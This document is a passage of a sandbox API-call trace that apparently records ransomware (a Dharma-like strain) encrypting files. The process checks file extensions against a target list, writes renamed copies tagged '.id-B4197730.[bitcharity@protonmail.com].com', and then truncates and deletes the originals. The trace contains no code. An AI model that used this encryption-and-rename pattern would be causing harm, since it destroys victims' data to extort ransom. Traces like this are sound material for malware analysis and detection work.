SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.503] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0136.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.504] lstrlenW (lpString=".doc") returned 4 [0136.504] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.504] lstrlenW (lpString=".docx") returned 5 [0136.504] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.504] lstrlenW (lpString=".pdf") returned 4 [0136.504] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.504] lstrlenW (lpString=".xls") returned 4 [0136.504] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.504] lstrlenW (lpString=".xlsx") returned 5 [0136.504] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.504] lstrlenW (lpString=".ppt") returned 4 [0136.504] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.504] lstrlenW (lpString=".zip") returned 4 [0136.504] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.504] lstrlenW (lpString=".rar") returned 4 [0136.504] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.504] lstrlenW (lpString=".bz2") returned 4 [0136.504] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.504] lstrlenW (lpString=".7z") returned 3 [0136.505] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString=".dbf") returned 4 [0136.505] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString=".1cd") returned 4 [0136.505] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString=".jpg") returned 4 [0136.505] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString=".doc") returned 4 [0136.505] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString=".docx") returned 5 [0136.505] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.505] lstrlenW (lpString=".pdf") returned 4 [0136.505] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString=".xls") returned 4 [0136.505] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.505] lstrlenW (lpString=".xlsx") returned 5 [0136.505] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.505] lstrlenW (lpString=".ppt") returned 4 [0136.505] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.505] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.505] lstrlenW (lpString=".zip") returned 4 [0136.505] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.505] lstrlenW (lpString=".rar") returned 4 [0136.505] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.506] lstrlenW (lpString=".bz2") returned 4 [0136.506] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.506] lstrlenW (lpString=".7z") returned 3 [0136.506] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.506] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.506] lstrlenW (lpString=".dbf") returned 4 [0136.506] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.506] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.506] lstrlenW (lpString=".1cd") returned 4 [0136.506] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.506] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0136.506] lstrlenW (lpString=".jpg") returned 4 [0136.506] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.506] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.506] lstrlenW (lpString="eula.rtf") returned 8 [0136.506] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.506] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=4040) returned 1 [0136.506] CloseHandle (hObject=0x10b0) returned 1 [0136.507] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0136.507] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.507] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.507] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.507] GetLastError () returned 0x0 [0136.507] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xfc8, lpOverlapped=0x0) returned 1 [0136.589] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0136.591] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.591] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.591] SetEndOfFile (hFile=0x103c) returned 1 [0136.591] CloseHandle (hObject=0x103c) returned 1 [0136.593] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.593] SetEndOfFile (hFile=0x10b0) returned 1 [0136.594] CloseHandle (hObject=0x10b0) returned 1 [0136.594] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.595] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0136.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.595] lstrlenW (lpString=".doc") returned 4 [0136.595] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.595] lstrlenW (lpString=".docx") returned 5 [0136.595] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.595] lstrlenW (lpString=".pdf") returned 4 [0136.595] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.595] lstrlenW (lpString=".xls") returned 4 [0136.595] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.595] lstrlenW (lpString=".xlsx") returned 5 [0136.595] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.595] lstrlenW (lpString=".ppt") returned 4 [0136.595] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.596] lstrlenW (lpString=".zip") returned 4 [0136.596] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.596] lstrlenW (lpString=".rar") returned 4 [0136.596] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString=".bz2") returned 4 [0136.596] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString=".7z") returned 3 [0136.596] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.596] lstrlenW (lpString=".dbf") returned 4 [0136.596] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.596] lstrlenW (lpString=".1cd") returned 4 [0136.596] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.596] lstrlenW (lpString=".jpg") returned 4 [0136.596] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.597] lstrlenW (lpString=".doc") returned 4 [0136.597] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString=".docx") returned 5 [0136.597] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.597] lstrlenW (lpString=".pdf") returned 4 [0136.597] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString=".xls") returned 4 [0136.597] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.597] lstrlenW (lpString=".xlsx") returned 5 [0136.597] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.597] lstrlenW (lpString=".ppt") returned 4 [0136.597] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.597] lstrlenW (lpString=".zip") returned 4 [0136.597] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.597] lstrlenW (lpString=".rar") returned 4 [0136.597] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString=".bz2") returned 4 [0136.597] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString=".7z") returned 3 [0136.597] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.597] lstrlenW (lpString=".dbf") returned 4 [0136.597] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.597] lstrlenW (lpString=".1cd") returned 4 [0136.597] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0136.597] lstrlenW (lpString=".jpg") returned 4 [0136.597] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.598] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.598] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.598] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=80738) returned 1 [0136.598] CloseHandle (hObject=0x10b0) returned 1 [0136.598] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0136.598] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.599] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.599] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.599] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.599] GetLastError () returned 0x0 [0136.599] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0136.715] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0136.717] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.717] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.717] SetEndOfFile (hFile=0x103c) returned 1 [0136.717] CloseHandle (hObject=0x103c) returned 1 [0136.720] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.720] SetEndOfFile (hFile=0x10b0) returned 1 [0136.722] CloseHandle (hObject=0x10b0) returned 1 [0136.722] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0136.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.722] lstrlenW (lpString=".doc") returned 4 [0136.722] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.722] lstrlenW (lpString=".docx") returned 5 [0136.722] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.723] lstrlenW (lpString=".pdf") returned 4 [0136.723] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString=".xls") returned 4 [0136.723] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString=".xlsx") returned 5 [0136.723] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.723] lstrlenW (lpString=".ppt") returned 4 [0136.723] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.723] lstrlenW (lpString=".zip") returned 4 [0136.723] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.723] lstrlenW (lpString=".rar") returned 4 [0136.723] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString=".bz2") returned 4 [0136.723] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString=".7z") returned 3 [0136.723] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.723] lstrlenW (lpString=".dbf") returned 4 [0136.723] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.723] lstrlenW (lpString=".1cd") returned 4 [0136.723] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.723] lstrlenW (lpString=".jpg") returned 4 [0136.723] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.724] lstrlenW (lpString=".doc") returned 4 [0136.724] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString=".docx") returned 5 [0136.724] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.724] lstrlenW (lpString=".pdf") returned 4 [0136.724] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString=".xls") returned 4 [0136.724] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString=".xlsx") returned 5 [0136.724] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.724] lstrlenW (lpString=".ppt") returned 4 [0136.724] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.724] lstrlenW (lpString=".zip") returned 4 [0136.724] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.724] lstrlenW (lpString=".rar") returned 4 [0136.724] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString=".bz2") returned 4 [0136.724] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString=".7z") returned 3 [0136.724] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.724] lstrlenW (lpString=".dbf") returned 4 [0136.724] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.724] lstrlenW (lpString=".1cd") returned 4 [0136.725] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0136.725] lstrlenW (lpString=".jpg") returned 4 [0136.725] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.725] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.725] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.725] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=81482) returned 1 [0136.725] CloseHandle (hObject=0x10b0) returned 1 [0136.725] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0136.725] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.726] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.726] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.726] GetLastError () returned 0x0 [0136.726] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0136.819] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0136.821] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.821] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.821] SetEndOfFile (hFile=0x103c) returned 1 [0136.822] CloseHandle (hObject=0x103c) returned 1 [0136.825] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.825] SetEndOfFile (hFile=0x10b0) returned 1 [0136.826] CloseHandle (hObject=0x10b0) returned 1 [0136.827] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.827] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0136.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.827] lstrlenW (lpString=".doc") returned 4 [0136.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.828] lstrlenW (lpString=".docx") returned 5 [0136.828] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.828] lstrlenW (lpString=".pdf") returned 4 [0136.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString=".xls") returned 4 [0136.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString=".xlsx") returned 5 [0136.829] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.829] lstrlenW (lpString=".ppt") returned 4 [0136.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString=".zip") returned 4 [0136.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.829] lstrlenW (lpString=".rar") returned 4 [0136.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString=".bz2") returned 4 [0136.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString=".7z") returned 3 [0136.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString=".dbf") returned 4 [0136.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString=".1cd") returned 4 [0136.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString=".jpg") returned 4 [0136.829] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.829] lstrlenW (lpString=".doc") returned 4 [0136.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 